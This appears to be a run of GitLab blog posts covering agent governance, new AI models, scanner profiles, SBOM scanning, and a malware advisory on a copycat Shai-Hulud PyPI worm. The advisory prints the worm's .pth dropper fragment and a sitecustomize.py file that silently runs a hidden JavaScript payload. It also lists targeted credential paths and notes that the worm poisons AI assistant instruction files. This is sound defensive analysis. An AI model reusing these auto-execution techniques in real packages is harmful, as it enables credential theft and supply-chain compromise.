In the agentic era, the security and compliance exposure every team manages keeps multiplying. The faster agents ship code, the faster they ship the vulnerabilities that come with it. The cycle compounds: the more code agents generate, the more coverage gaps you uncover; the more you scan, the more findings you have to triage and fix; and the more agents you run, the more you need to prove each one did the right thing, under the right policy, to stand behind your risk posture.

That cycle is why, building on GitLab Ultimate, we've added agents for security and introduced governance for agents.

The agents for security work the exposure side: scanning, triaging, and resolving vulnerabilities as fast as agents create them, so the volume agents generate doesn't bury the teams responsible for securing it.

Governance for agents, in private beta, works the trust side. When agents push code, touch dependencies, and trigger deployments at scale, the question shifts from "did we scan?" to "which agent did what, under which policy, and can we prove it?"

Governance for agents puts identity, policy, audit, and approval around every agent action, with real-time visibility into inputs, reasoning, tool calls, and high-risk or anomalous activity across the organization. When something unexpected happens, the full execution context and audit trail are already there: what changed, which policy allowed it, and who signed off.

Orchestration system: GitLab Duo Agent Platform

These capabilities above are infrastructure. GitLab Duo Agent Platform is the orchestration system that brings them together in the work developers do every day, and adoption has taken off: weekly active users have grown 10 times since we announced general availability in January.

The friction in software delivery was never the work itself, developers know how to write code, review it, and fix a pipeline. It's the context-switching, the waiting, and the handoffs between each of those steps, where time leaks out and focus breaks.

On GitLab Duo Agent Platform, agents work across that full loop: picking up a well-scoped issue and opening a merge request, reviewing it against the team's own rules rather than generic best practices, and resolving the review feedback that comes back.

The quality holds up against independent scrutiny. GitLab Duo Code Review placed in the top five of AI code review tools scored on the Martian Offline Benchmark. And because these flows can run automatically on event triggers, a failing pipeline can be diagnosed and fixed without pulling multiple engineers out of flow, with the platform distinguishing a break that needs a code change from one that just needs a rerun.

GitLab Flex: Commit once, reshape your seats and AI spend

The agentic era made your needs harder to predict, and the way you buy software hasn't caught up. Six months out, you don't know how many seats you'll need, how much AI your teams will consume, or which new capabilities you'll want to turn on, yet a traditional contract fixes all three up front and won't budge until renewal. Guess high and you pay for idle seats; guess low and adopting anything new means re-opening procurement.

That's what GitLab Flex, available now, solves. It's one annual commitment you reshape month to month across seats, AI usage, and new capabilities, all drawing from the same agreement, with no amendment and no new procurement cycle. When a team rolls off a project, you reallocate next month's reservations toward another team or toward AI. When a capability ships after you sign, you turn it on from the commitment you already have. Seats and usage live under one commitment, so you can move budget between them as adoption shifts. (For background on the usage-based foundation Flex builds on, see this introduction to GitLab Credits.)

Read more: GitLab Flex: Commit once, reshape your seats and AI spend

The difference between coding and shipping

Agentic coding only gets you part of the way. The coding agent generates the change; GitLab's agentic infrastructure checks it against your full context, workflows, and guardrails and makes it safe to ship, at the speed agents work and the scale enterprises run.

Get started today

GitLab Orbit is available now in public beta: join the beta program. Next-generation SCM and governance for agents capabilities are in private beta, and you can request early access here. Agents for security are available now in GitLab Ultimate. Duo Agent Platform is generally available. Finally, GitLab Flex is accepting requests for orders now: To learn more, get in touch.

Our mission is to unlock every team to ship trusted software at the speed of imagination, and we cannot wait to see what you build.

This builds on our April 2026 collaboration, which lets you call Google models through GitLab Duo Agent Platform and count that usage toward your existing Google Cloud commitment. Today, you also get a fully managed way to run the platform itself — and a deeper, faster model roadmap.

Why this matters

Running software development at scale puts two things in tension: you want access to the strongest, newest AI models, and you need control over your code, pipelines, and security data — ideally in the same platform, not bolted together from separate tools. Most teams end up trading one for the other: sovereignty without modern AI, or modern AI without governance. This collaboration is built to give you both. Here's what you can now do.

Run GitLab fully managed on Google Cloud

You don't have to be your own integrator. GitLab-certified MSP partners, including Beyond and Digital Future, now deliver a fully managed GitLab offering on Google Cloud, built for organizations subject to country-specific sovereignty, data residency, and other regulated requirements.

• Your data stays where you need it. You keep full control over where your code, pipelines, and security data reside, while running the full GitLab platform on Google Cloud infrastructure.
• No operational burden. Your MSP partner runs the platform to a high service-level agreement, so your team doesn't carry the work of managing the underlying infrastructure.
• Auditable by design. Your compliance teams keep visibility into every agent action, merge request, and security finding through GitLab's built-in audit and policy controls. Governance doesn't stop when an agent takes over a workflow.

Match the model to the task

The latest Gemini models, including Gemini 3.5 Flash, are now available in GitLab Duo Agent Platform via Gemini Enterprise Agent Platform, and because GitLab is in Google's Gemini early-access program, new Gemini models keep landing in Duo as they ship, with no procurement work on your side. Different software tasks need different models, so the lineup gives you a clear choice:

For self-hosted and regulated teams, Gemma 4 is now available for GitLab Duo Self-Hosted — an open-weight option beyond Gemini. It plugs into GitLab's self-hosted models architecture, so you run your own AI Gateway and keep every request and response inside your environment, on-premises or in a private cloud.

Leverage your existing Google Cloud commitment

Buy GitLab and Duo Agent Platform through Google Cloud Marketplace, and you can draw down your existing Google Cloud commitment to fund it:

• No new budget cycle. Scale agentic AI against a commitment you've already made, instead of re-opening procurement every quarter.
• One bill, one view. Platform, inference, and infrastructure spend land in the same Google Cloud billing surface — nothing to reconcile across vendors.

On top of that, you keep GitLab's own cost controls: usage dashboards, policy over which models run where, and the GitLab Credits model that gives your finance team predictable consumption. So you can answer the question your board is already asking — what did we spend on AI this quarter, and what did we get for it.

One governed platform, less fragmentation

Strong models bring better reasoning, faster tool calling, and long-context handling. GitLab Duo Agent Platform brings the software-delivery context a standalone coding assistant doesn't have — the merge request, the pipeline, the deployment target — which is what keeps a multi-step agent from stalling, and what makes monorepo-scale review workable at all. Put them together and your deployment, model choice, governance, and spend stay aligned inside the platform you already ship from, instead of fragmenting across separate assistants, security tools, and disconnected endpoints.

That's the whole point of doing this with Google Cloud: the right deployment option, the right models, and the right cost controls to run DevSecOps at scale, on infrastructure you control, with governance your compliance teams can audit.

If you are not using GitLab Duo Agent Platform today, you can start with a free trial.

If you are already using GitLab in the free tier, you can sign up for GitLab Duo Agent Platform by following a few simple steps.

And if you are an existing GitLab Premium or Ultimate subscriber, you can get started by turning on Duo Agent Platform and using the GitLab Credits that are included with your subscription.

We confirmed that GitLab was not using any of the affected packages and are sharing our findings to help the broader security community respond effectively.

Inside the attack

Our monitoring systems flagged five malicious PyPI packages from a single account (elitexp) on June 7, 2026. Four are typosquats:

• rlask and tlask, typosquats of Flask
• rsquests, a typosquat of Requests
• nhmpy, a typosquat of NumPy

The fifth, mflux-streamlit, is a legitimate project with real users that the attacker weaponized by publishing malicious versions 0.0.3 and 0.0.4 after the typosquat wave.

The attacker published clean "probe" versions first, with version numbers matching the real latest releases exactly (Flask 3.1.3, Requests 2.34.2, and NumPy 2.4.6). Once these were indexed without issue, the attacker pushed new versions with the worm payload baked in.

This is a copycat deployment. TeamPCP, the group behind Shai-Hulud, open-sourced the worm's code on May 12, 2026. We've been tracking independent actors picking up the toolkit and aiming it at new targets since then. This campaign brings the same worm to the Python ecosystem.

Technical analysis

Initial infection vector

The original npm variant used a preinstall script. This campaign takes a different approach, exploiting Python's .pth file mechanism. Wheel packages can ship .pth files that Python processes automatically on startup, requiring no explicit import. Each malicious package includes a file like rlask-setup.pth containing a one-liner dropper:

import os as _O,tempfile as _T;_G=_O.path.join(_T.gettempdir(),".bun_ran");
_O.path.exists(_G)or exec('import os as _o,subprocess as _s,urllib.request as _u...')

The dropper checks for a marker file (.bun_ran in the system temp directory) to avoid re-execution, then downloads the Bun JavaScript runtime from GitHub and uses it to execute a 5 MB obfuscated JavaScript payload bundled in the package.

Early versions of rlask also included a sitecustomize.py file as a backup execution path. Python auto-imports sitecustomize on startup, and this file searched sys.path for the hidden _index.js payload:

import subprocess, os, sys
for d in sys.path:
  js = os.path.join(d, "_index.js")
  if os.path.exists(js):
    subprocess.run(["node", js])
    break

The attacker dropped this backup mechanism in later versions, apparently finding the .pth approach sufficient on its own.

Payload obfuscation

The JavaScript payload is wrapped in three layers:

1. A ROT-N character cipher applied to an integer array (the rotation value varies per package: ROT-13 for rlask@3.1.4, ROT-17 for rsquests, ROT-25 for tlask)
2. AES-128-GCM encryption with hardcoded keys, producing two encrypted blobs
3. Standard variable-name mangling (_0x prefix obfuscation) on the inner payload

We decrypted the payload through static analysis without executing any code. The first blob (907 bytes) is the Bun runtime downloader. The second blob (772 KB) is the complete Shai-Hulud credential stealer, containing 2,538 hardcoded strings.

For researchers performing their own analysis, here are the AES decryption keys:

Credential harvesting

Once running, the worm goes after credentials across every major cloud and CI/CD platform:

• GitHub Actions: GITHUB_TOKEN, personal access tokens, fine-grained tokens, OIDC tokens, organization and repository secrets, Actions artifacts, and runner process memory
• AWS: IAM access keys, secret keys, session tokens, IMDS instance credentials (169[.]254[.]169[.]254), Secrets Manager entries, SSM parameters, STS federation tokens
• Azure: Client secrets, managed identity tokens, Key Vault secrets, federated credentials, Microsoft Graph API tokens
• GCP: Service account keys, application default credentials, cloud-platform scope tokens
• HashiCorp Vault: Vault tokens from seven known filesystem paths (/var/run/secrets/vault-token, /etc/vault/token, /root/.vault-token, and others), plus API access and Kubernetes Vault auth
• npm / JFrog: npm tokens, JFrog/Artifactory API keys, OIDC token exchange
• PyPI: Publishing tokens, OIDC mint tokens
• RubyGems: API keys, gem publishing credentials
• SSH: Private keys for lateral movement
• Kubernetes: Service account tokens, kubeconfig files
• Sigstore: OIDC tokens and Fulcio signing certificates, which would allow the attacker to sign artifacts under a trusted identity
• Databases: MongoDB, MySQL, PostgreSQL, and Redis connection strings with embedded passwords

Self-propagation

Like the original npm variant, this is not just a stealer. It propagates. Using stolen credentials, the worm:

• Commits .github/setup.js and workflow files to accessible GitHub repositories, causing the worm to re-execute in other CI pipelines
• Injects .github/copilot-instructions.md to poison AI code assistants
• Publishes additional poisoned packages to PyPI, npm, and RubyGems using stolen registry tokens
• Attempts privilege escalation on self-hosted CI runners by injecting sudoers rules
• Checks for StepSecurity's harden-runner and adjusts behavior if detected

The attacker

All five packages are owned by the PyPI account elitexp. The account was created in November 2024 with a legitimate package (mflux-streamlit, a Streamlit UI for image generation with 11 stars on GitHub). The associated GitHub account (github[.]com/elitexp) is 13+ years old with 43 public repositories, including university coursework and Laravel projects.

Upload metadata shows all packages were published using Bun/1.3.14 as the user-agent, the same runtime the malware downloads as part of its execution chain.

The attacker also weaponized mflux-streamlit itself. Versions 0.0.1 and 0.0.2 are clean, but Versions 0.0.3 and 0.0.4, published at 15:23 and 15:37 UTC after the typosquat campaign, contain the same .pth dropper and obfuscated payload. This makes the attack more dangerous than a typical typosquat: mflux-streamlit is a real project with existing users who may receive the poisoned update through normal dependency resolution.

Indicators of compromise

What to do if you're affected

If any of these packages were installed in your environment:

1. Remove the package immediately and check for the .bun_ran marker file in your system temp directory.
2. Rotate all credentials that were accessible to the environment where the package was installed. This includes CI/CD tokens, cloud provider credentials, SSH keys, and registry publishing tokens.
3. Audit your GitHub repositories for unexpected commits, especially files matching .github/setup.js, .github/copilot-instructions.md, or modified workflow files.
4. Check your package registry accounts (PyPI, npm, RubyGems) for packages you did not publish.
5. Review CI/CD pipeline logs for unexpected Bun downloads or JavaScript execution.

Timeline

How GitLab can help you detect these packages

If you are using GitLab Ultimate, you can use Dependency Scanning to automatically surface exposure to these packages in your projects. We have filed advisories (GMS-2026-572 through GMS-2026-576) covering all five packages in the GitLab Advisory Database. Once merged, any project with Dependency Scanning enabled will flag these packages in pipeline results and the Vulnerability Report.

For teams managing many repositories, GitLab Duo Chat with the Security Analyst Agent can help triage quickly. Ask questions like:

• "Are any of my dependencies affected by the Shai-Hulud PyPI campaign?"
• "Does this project have any malicious Python dependencies?"

Looking ahead

We expected this campaign after TeamPCP open-sourced the Shai-Hulud worm in May. Independent actors are picking up the toolkit and deploying it against new ecosystems. The Python variant uses a different initial infection vector (.pth files instead of preinstall scripts) but carries the same credential harvesting and self-propagation code underneath.

Our monitoring systems continue to track copycat deployments across npm, PyPI, and other registries. We will update this post as more information becomes available.

Find more articles from the Vulnerability Research team on our Security Labs site.

Claude Fable 5, a Mythos-class model with robust safeguards from Anthropic, is now available on GitLab Duo Agent Platform. For developers, platform engineers, and engineering leaders, this is not an incremental model update. Claude Fable 5 completes multi-step, goal-directed work that previous models could not sustain, and it does so with measurably fewer iterations. Duo Agent Platform features, including Duo Agentic Chat and Duo foundational agents, benefit from Claude Fable 5's expanded capabilities. Claude Fable 5 is available across all tiers and all deployment models through GitLab's AI Gateway.

Get accurate results on the first attempt

Claude Fable 5 brings a measurable improvement in first-shot correctness on complex, well-specified problems. Early testers reported single-pass implementations of systems that previously took days of iteration with prior models.

In GitLab Duo Agentic Chat, this translates to fewer rounds of back-and-forth. When you describe what you need with specificity, the response is more likely to match your intent and produce working results. This matters most on the tasks where iteration cost is highest: multi-file refactors, incident investigation, and infrastructure-as-code definitions.

Claude Fable 5 also interprets dense technical images, web applications, and detailed screenshots with significantly higher accuracy than prior models, often using fewer output tokens.

Run longer, more reliable AI agent workflows

The most significant shift in Claude Fable 5 is long-horizon autonomy. The model sustains productive output over extended periods, successfully completing multi-day, goal-directed runs while maintaining instruction adherence across millions of tokens.

For teams using GitLab Duo agents on the platform, the agent workflows that previously required manual checkpoints or re-prompting can now run to completion. Claude Fable 5 self-corrects through verification loops, catches its own mistakes, and stays on-task across complex multi-step operations. It dispatches and sustains parallel sub-agents far more reliably than previous models, so workflows that fan out across multiple repositories or services hold together.

Engineering leaders evaluating AI adoption should note the operational implication: Claude Fable 5 reduces the human oversight cost per agent run. Teams can assign harder problems to agents, check results asynchronously, and trust that the output reflects genuine progress rather than fabricated status reports.

Find more bugs and resolve incidents faster

Bug-finding recall is noticeably higher than previous models. Outage triage, root cause analysis, and repository history investigation all show improvement.

When reviewing merge requests through GitLab Duo Agent Platform, Claude Fable 5 catches issues that prior models missed. It reasons through code paths with greater depth, identifies edge cases more consistently, and produces code review comments that are actionable rather than generic. For platform engineers managing CI/CD workflows, this means fewer defects reaching production and faster mean time to resolution when something breaks.

Start with your hardest unsolved problem

If you test Claude Fable 5 only on routine tasks, you will miss its most significant capabilities. Anthropic's own testing found that the teams seeing the best outcomes point Claude Fable 5 at problems they assumed previous AI models could not handle, then let it scope, ask clarifying questions, and execute.

On GitLab Duo Agent Platform, try assigning a complex, multi-file refactor to a GitLab Duo agent. Use Duo Agentic Chat to investigate a production incident across your repository history, or to tackle an implementation you would normally write by hand because you weren’t confident AI would get it right.

Claude Fable 5 is available on GitLab Duo Agent Platform starting June 9, 2026.

Try GitLab Duo Agent Platform today

You can experience the benefits of Claude Fable 5 by starting a free trial of GitLab Duo Agent Platform.

If you are already using GitLab in the free tier, you can sign up for GitLab Duo Agent Platform by following a few simple steps.

And if you are an existing subscriber to GitLab Premium or Ultimate, you can take advantage by simply turning on Duo Agent Platform and start using GitLab Credits that are included with your subscription.

Agents fail most often on complex, multi-step work: tasks that span multiple tools and go from intent to production without losing track of the project goal. Claude Opus 4.8, Anthropic's latest model for coding and agentic tasks, is built for that work, and now available in GitLab Duo Agent Platform via model selection in Agentic Chat and across agent workflows in your GitLab instance.

Opus 4.8 delivers more precise execution across complex agentic sequences where agents run autonomously over extended time periods. With more comprehensive reasoning and planning, teams can expect cleaner end-state results with fewer interventions to redirect agents along the way.

Improved long-horizon agentic execution

For teams with established agent workflows, Opus 4.8 interprets instructions more precisely than prior models. Agents handling extended sequences complete each step as specified, which means more efficient and accurate outcomes with less time reviewing and correcting agent output.

Opus 4.8 is also stronger on professional work beyond coding: document drafting, data analysis, and structured knowledge tasks. For teams using GitLab Duo agents across planning and documentation workflows, as well as coding, Opus 4.8 handles those tasks more reliably, too.

Support for mid-conversation system prompts

Opus 4.8 adds support for mid-conversation system prompts: System instructions can be updated partway through a session without invalidating the prompt cache. Teams building on the API can use this when async context arrives mid-session: when files change on disk, when token budget shifts, or when user context updates, without restarting the cache.

Get started today

Claude Opus 4.8 is available now in GitLab Duo Agent Platform. Like other models, Opus 4.8 runs on GitLab Credits. For a full list of models and their credit consumption, please visit our documentation.

Start a free trial of GitLab Duo Agent Platform today, or sign up from the GitLab Free tier by following a few simple steps. Existing GitLab Premium or Ultimate subscribers can use the GitLab Credits included with their subscription.

The merge request doesn't include a link to the issue it was supposed to fix. The CI/CD pipeline fails because the agent didn't know about a recently added linter rule. A security scan flags a dependency the agent pulled in without checking the project's approved list.

These are context failures, and they determine whether agentic coding accelerates delivery or creates rework. But when development teams use coding agents with GitLab, the agents draw on the issues, pipelines, and security policies already in the platform, catching problems and remediating them within the developer flow.

This article walks through what changes when you give a coding agent progressively more lifecycle context from repository-only to full platform visibility, using two recent GitLab tutorials as a reference. You'll learn how platform context improves code quality, security assessments, and review cycles, and what platform teams can do today to close the gap.

Putting context into practice

The GitLab tutorials demonstrate what happens when you give an external coding agent progressively more full platform context. The first tutorial illustrates three workflows with Claude Code: fixing a C++ sensor crash, enriching the session with GitLab's Model Context Protocol (MCP) server, and using Claude Code as an external agent inside a merge request to address review feedback. The second tutorial follows the same progression with Codex and GitLab, this time fixing a Rust WebSocket filtering bug across the same three scenarios.

Scenario 1: The agent only sees the repository
You point the agent at the codebase and describe the problem in a prompt. The agent reads files, proposes a fix, and runs the build. The fix works, but it's only based on what the agent infers from local files and your prompt. It doesn't understand your organizational context: the issue's acceptance criteria, the non-functional requirements, or the review standards defined in your project's CI configuration. The code compiles, but it still might not be what your team needs.

Scenario 2: The agent sees the repository and the GitLab issue
Connect the GitLab MCP server, and the agent can fetch the issue before writing any code. Now it reads the functional requirements, implementation notes, labels and milestones. In the Codex and GitLab tutorial, this means the agent adds Closes #32 to the merge request description, because it understands the relationship between the code change and the issue. In the Claude Code tutorial, the agent uses get_issue to pull the bug report, then create_merge_request to file the MR with the right references. This time, the fix aligns to what the team planned.

Scenario 3: The agent works inside the merge request
Once the MR exists, GitLab's Code Review Flow runs automatically and posts feedback. In both tutorials, the coding agent gets invoked as an external agent inside the MR to address the review feedback. It adds missing tests, updates documentation comments, and fixes validation gaps the review caught. The agent commits directly to the MR branch, CI/CD pipelines run automatically on the new commit, and a human reviewer can inspect the result without switching tools.

By this scenario, both tutorials demonstrate fewer review rounds and shorter time to merge.

The importance of agentic coding and platform visibility

If you run a platform team, you're deciding how AI-assisted development works across your organization. You're defining which agents are allowed, what tools they can access, how output gets verified, and where human decisions get made in the process.

The agent needs context to produce changes that your organization can trust, and that context lives in your DevSecOps platform. Your issue tracker lists requirements. The CI/CD configuration sets the quality bar. Code review instructions codify the team's style and standards. Security scanners enforce vulnerability policy. And the merge request is where it all comes together — the final human gate.

An agent with platform context follows the same workflow that development teams use and within the same guardrails. The diff is in review cycles, pipeline pass rates, and time to merge.

An IDE or terminal-based agent, however capable, sees only the files you give it. The platform has access to the full lifecycle from the issue, pipeline, and security policy, to the deployment target and approval rules. That visibility gap is why your organization's platform, not the agent, determines what ships safely.

The impact on security when agents produce more code

In all tutorials, CI/CD pipelines and code review run automatically on every merge request the coding agent creates. Security scanning is part of the pipelines, even if the tutorials focus on code quality rather than security findings. For platform teams, context becomes even more crucial when security is invoked.

Coding agents produce more code, faster. More code means more vulnerabilities introduced, more findings flagged by scanners, and more fix MRs generated.

• Before AI coding agents entered the workflow, the bottleneck in vulnerability management was on the application security side: scan, prioritize findings, escalate important ones to developers, wait for a fix.
• Now with agents accelerating code production and remediation, the bottleneck shifts. The workflow advances from "which vulnerability should we fix first" to "which AI-generated fix MR should a human review and approve first."

That decision requires context the coding agent doesn't have: the broader project code, the complete data flow, the deployment target, and the security policies that apply across your organization.

• With context, prioritization sharpens: An agent grounded in the surrounding code, data flow, and applicable policies can rank findings by real exposure in your environment rather than generic severity scores, surfacing what matters before reviewers spend cycles on it.

Just as the coding agent in the second scenario produced better code when it could read the GitLab issue, the security layer produces better assessments when it can read the full application context rather than a single file.

GitLab's security layer analyzes findings with full project context, filtering detected false positives and flagging confirmed vulnerabilities. When a vulnerability is confirmed, agentic SAST vulnerability resolution reads the vulnerable code and surrounding context from the repository, and automatically creates a merge request with a proposed fix. The pipeline runs to validate the fix. A human reviewer inspects it and makes the final merge decision. The agent handles remediation; and the governance model stays intact.

CI/CD quality gates, code review instructions, and security scanning all operate in the merge request, which is also where coding agents do their work. The more effective those controls are at the point of code creation, the fewer vulnerabilities reach production.

Custom instructions with AGENTS.md

Both tutorials rely on AGENTS.md files in the repository. These are custom instructions for agents on how the project is structured, which commands to run, and what the code quality expectations are — including what not to touch.

In the Codex and GitLab tutorial, the AGENTS.md file defined everything from the Rust edition to the async concurrency pattern and CI image pinning policy. The agent didn't need context repeated in the prompt. It read the file and followed the rules.

This one-time investment pays off across every agent interaction, whether your agent is running locally in a developer's terminal, connected via MCP, or operating as an external agent inside a merge request. Standardizing AGENTS.md across projects improves agent output quality, because every agent session, local or remote, reads the same rules.

Context window limits

Large language models have finite context windows, and research from teams have shown that model performance degrades as context utilization climbs past 30%–40%. The more tools, files, and instructions packed into a session, the less reliably the agent reasons.

Your organization wants to give the agent rich lifecycle context: issue, review instructions, pipeline history, and security policy. But you also want to ensure the context is structured, relevant, and efficiently delivered.

Instead of having every agent session reconstruct context by reading files and making unnecessary API calls (diluting the context window and consuming tokens), a platform that understands the relationships between code, issues, pipelines, and deployments can provide the right context at the right time. GitLab captures many of these relationships across the lifecycle, positioning it to deliver context more efficiently. When the platform knows which issue a merge request addresses, which services the code change impacts, and which pipelines validate the result, it can deliver that knowledge as structured context rather than reassembling it from fragments.

The efficiency of your organization's AI-assisted development workflows depends on how well your platform delivers structured context, not on the size of your model's context window.

Agents shorten the loop

When a coding agent addresses review feedback inside a merge request, it acts on the review. The agent reads the feedback, makes requested changes, commits them, and lets CI/CD validate the result. The human reviewer still validates the outcome, approving or requesting further changes, making the final merge decision.

Approval rules, code owners, security policies, and audit trails all stay in place. The agent accelerates the revision cycle without bypassing the controls around it.

External agents in GitLab Duo Agent Platform can be further integrated with event triggers and custom flows, giving platform teams control over when and how agents perform in the workflow.

How to get started with agentic coding

If you're evaluating how coding agents fit into your organization's development workflow:

Pick a visible bug in a real project. Define the expected behavior in a GitLab issue with clear requirements. Move through the same progression the tutorials demonstrate: fix it locally with the agent working from the repository, connect GitLab MCP so the agent works from the issue, and use the agent as an external reviewer to address feedback in the merge request.

Invest in AGENTS.md. Document how the repository works, which commands to pay attention to, and what the code quality expectations are. These instructions ensure higher quality agentic output that compounds over time as more agents and developers interact with the project.

Watch context consumption. If agent sessions are slow, expensive, or producing shallow results, the problem is likely the context being fed to the model, not the model itself. Structured, relevant context delivered via platform integrations outperform raw file dumps.

Review security coverage. As coding agents produce more merge requests across projects, check that every project is being scanned. Apply Security Configuration Profiles at the group level so scanners are enabled automatically, then use Security Inventory to confirm coverage and understand where vulnerabilities concentrate.

Get started with agentic coding today

The organizations that get the most from agentic coding will be those with DevSecOps platforms that give agents the right context and controls to ship safely.

If you are not using GitLab Duo Agent Platform today, you can start with a free trial.

If you are already using GitLab in the Free tier, you can sign up for GitLab Duo Agent Platform by following these easy steps.

And if you're an existing GitLab Premium or Ultimate subscriber, get started by turning on Duo Agent Platform and using the GitLab promotional credits included in your subscription.

Security teams need to apply scanners at scale, not chase scanner coverage project by project with manual YAML files. A security configuration profile is a centralized setting in the UI where security teams can define how and when security scanners run across your projects, without manually configuring scanners across pipeline definition files. With GitLab 19.0, teams can use security configuration profiles to enable static application security testing (SAST), dependency scanning, and secret detection scanners across every project from day one.

Watch this video demonstration of security configuration profiles and then read more below.

Manual enablement can’t keep up with AI-driven code velocity

At a small scale, manually enabling scanner configuration per project is workable. One team, a handful of repositories, a security engineer who knows where everything lives. The model gets harder to maintain as organizations add teams and projects, and AI is making the gap between code velocity and security coverage wider every day.

The drift shows up in common ways. Teams copy scanner configuration from whatever source is handy, so SAST ends up running with one ruleset in the backend service and another in the frontend. Dependency scanning gets added to new projects but never backfilled to older ones. Someone updates a .gitlab-ci.yml file to fix a pipeline issue and a scanner gets dropped along the way.

Without a centralized view, individual decisions about scanner coverage rarely add up to a consistent security posture across an organization.

What are security configuration profiles?

A security configuration profile is a centralized group of settings that defines how and when a security scanner runs across your projects. Instead of configuring SAST, secret detection, or dependency scanning individually in each project's .gitlab-ci.yml, you define a profile once at the group level and apply it to as many projects as you need in one action.

GitLab ships default profiles for each scanner: preconfigured settings that reflect recommended practice, so you can get scanning running across your projects in minutes without writing a line of YAML. For full technical details, see the security configuration profiles documentation.

How profiles work: Scan triggers and coverage

Each default profile activates a set of scan triggers that define when scanning runs. For SAST and dependency scanning, two triggers apply.

Merge request pipelines. A scan runs automatically each time new commits are pushed to a branch with an open merge request. Results are scoped to vulnerabilities introduced by that merge request, so developers get focused, actionable feedback without noise from pre-existing issues.

Branch pipelines (default branch only). A scan runs automatically when changes are merged or pushed to the default branch, giving your security team a complete picture of your default branch's security posture at all times.

Secret detection includes both of those triggers and adds a third: push protection. Rather than waiting for a pipeline to run, push protection intercepts secrets in real time during the git push process and blocks the push before the secret ever enters your codebase. Because it's event-based rather than pipeline-based, there's no scan date attached to it in the security inventory.

Use cases

Here are four real-world scenarios where security configuration profiles can be impactful.

Standardizing coverage across a large group
A platform security team manages hundreds of projects spread across dozens of subgroups. The security inventory gives them a single view of scanner coverage across every project, including which are running SAST, which aren't, and which have failed scans. From that dashboard, the team selects all projects and applies the default profiles in a bulk action. Every project now runs SAST, secret detection, and dependency scanning on merge request and branch pipelines, without a single .gitlab-ci.yml edit.

Catching a code-level vulnerability before it ships
A developer on a fast-moving team introduces an insecure deserialization pattern while building a new API endpoint. It's not malicious, just a mistake made under time pressure. With the SAST profile applied, a scan runs automatically when the team pushes commits to their merge request branch. The vulnerability is flagged before the merge request is approved, when it takes one developer an hour to fix rather than days of incident response after the fact.

Catching a compromised dependency before it reaches production
A developer updates a dependency in their lockfile. The new version of a widely-used package has been compromised and carries a malicious payload. Dependency scanning runs automatically on the merge request pipeline and flags the compromised version before the branch is merged. The developer is notified at the point of the change, not after the package has been installed across build servers and production environments.

Catching secrets before they land
A developer accidentally includes an API key in a commit while debugging a pipeline issue. It's a common mistake, and on a busy team it can go unnoticed for days. With the secret detection profile applied, push protection intercepts the push in real time and blocks it before the secret reaches the repository. The developer gets immediate feedback at the point of the mistake, with no security report, no incident ticket, and no credential rotation required.

Getting started: From zero to full coverage in minutes

Security configuration profiles are now available on GitLab Ultimate for GitLab.com, GitLab Self-Managed, and GitLab Dedicated instances. To apply default profiles across your projects:

1. Go to Secure > Security inventory for your group.
2. Select the projects you want to cover, or select all.
3. From the Bulk Action dropdown, choose Manage security scanners.
4. Select Apply default profile to all.

To review coverage status after applying profiles, return to the security inventory and check the Tool Coverage column. A solid green bar indicates the scanner is fully active. A partial bar means some triggers are active but others are not. A gray bar means the scanner is not yet configured.

To view the full technical details of any profile, including its scan triggers and current status, select the profile name from the security inventory.

If your projects have existing scanner configuration in .gitlab-ci.yml, note that profile-based configuration and legacy configuration can coexist, but the security inventory tooltip may not reflect the combined status accurately during the transition. For the most accurate view of your current profile state, check the Security Configuration page for the individual project. For more, see the security configuration profiles documentation.

Not yet on GitLab Ultimate? Start a free trial and get SAST, secret detection, and dependency scanning running across your projects in minutes.

FAQ

What is a security configuration profile?
A security configuration profile is a centralized set of settings that defines how and when a security scanner runs across your projects. Instead of configuring scanners manually in each project's .gitlab-ci.yml, you apply a profile once and it covers every project in the group.

Which scanners have default profiles in GitLab 19.0?
GitLab 19.0 completes the first set of default profiles, adding dependency scanning alongside the secret detection profile (expanding since 18.9) and the SAST profile introduced in 18.11. Each profile activates a recommended set of scan triggers with no manual configuration required.

What scan triggers does each profile activate?
The secret detection profile activates three triggers: push protection, merge request pipelines, and branch pipelines targeting the default branch. The SAST and dependency scanning profiles activate two triggers: merge request pipelines and branch pipelines targeting the default branch.

Do profiles replace my existing .gitlab-ci.yml scanner configuration?
Not automatically. Profile-based and legacy configurations can coexist. If you want to rely solely on profile-based configuration, remove the relevant scanner configuration from your .gitlab-ci.yml files. The Security Configuration page for each project reflects the most accurate current state during any transition.

What GitLab tier is required?
Security configuration profiles are available on GitLab Ultimate, across GitLab.com, GitLab Self-Managed, and GitLab Dedicated instances.

Can I apply a profile to individual projects rather than an entire group?
Yes. From the security inventory, you can manage scanner coverage for individual projects by selecting the vertical ellipsis next to the project and choosing Manage tool coverage.

Read more about what's in GitLab 19.0

• Manage CI/CD credentials with GitLab Secrets Manager
• Transform MRs from manual tasks to an automated workflow
• Track CI component usage across your organization
• More AI models for GitLab Duo Agent Platform Self-Hosted
• Reduce supply chain risk with SBOM-based dependency scanning

Traditional dependency scanners, including GitLab's Gemnasium analyzer, were engineered to answer one question: Which of my declared packages have known CVEs? When dependency trees weren’t as deep and release cycles weren’t as fast, that approach worked.

Today’s application security teams must answer harder questions: How did a vulnerable package end up in the project? What else came with it? And which dependencies does your code actually reach? With GitLab 19.0, dependency scanning using a software bill of materials (SBOM) becomes generally available to help answer these questions. This feature inventories every direct and transitive dependency in your project and tells you which vulnerable packages your application actually uses.

How GitLab uncovers vulnerable dependencies

SBOM-based dependency scanning is a lightweight analyzer that detects vulnerabilities in your project's third-party libraries and packages. It catalogs dependencies in an SBOM and matches those components against the GitLab Advisory Database to flag known issues.

GitLab surfaces findings where practitioners work. The vulnerabilities introduced by a change appear on the merge request, so developers can fix them before shipping. Findings are also shown in vulnerability dashboards and reports, so security teams can see results across every project in one place.

The analyzer generates both an SBOM in CycloneDX format and a dependency scanning report — machine-readable outputs you can use within GitLab, for compliance reporting, or in broader supply chain tooling.

What’s possible with SBOM-based dependency scanning

SBOM-based dependency scanning introduces capabilities that go beyond our Gemnasium-based analyzer:

Trace transitive dependencies to their source. The analyzer traces transitive dependencies, no matter how deeply nested. When the analyzer flags a vulnerable package, it shows you the chain that brought it into your project. If library-a depends on library-b, which depends on the vulnerable library-c, you can trace that path and know where to intervene.

Focus on vulnerabilities your code actually uses. Not every dependency included in manifest and build files runs in your application. For Java, JavaScript/TypeScript, and Python projects, the analyzer checks whether your code directly imports or requires vulnerable packages, distinguishing dependencies that are reachable from those that are pulled in transitively but never referenced by your application. GitLab surfaces reachability status on each finding, so teams can deprioritize vulnerabilities in packages their code never imports and focus remediation effort where exposure is plausible.

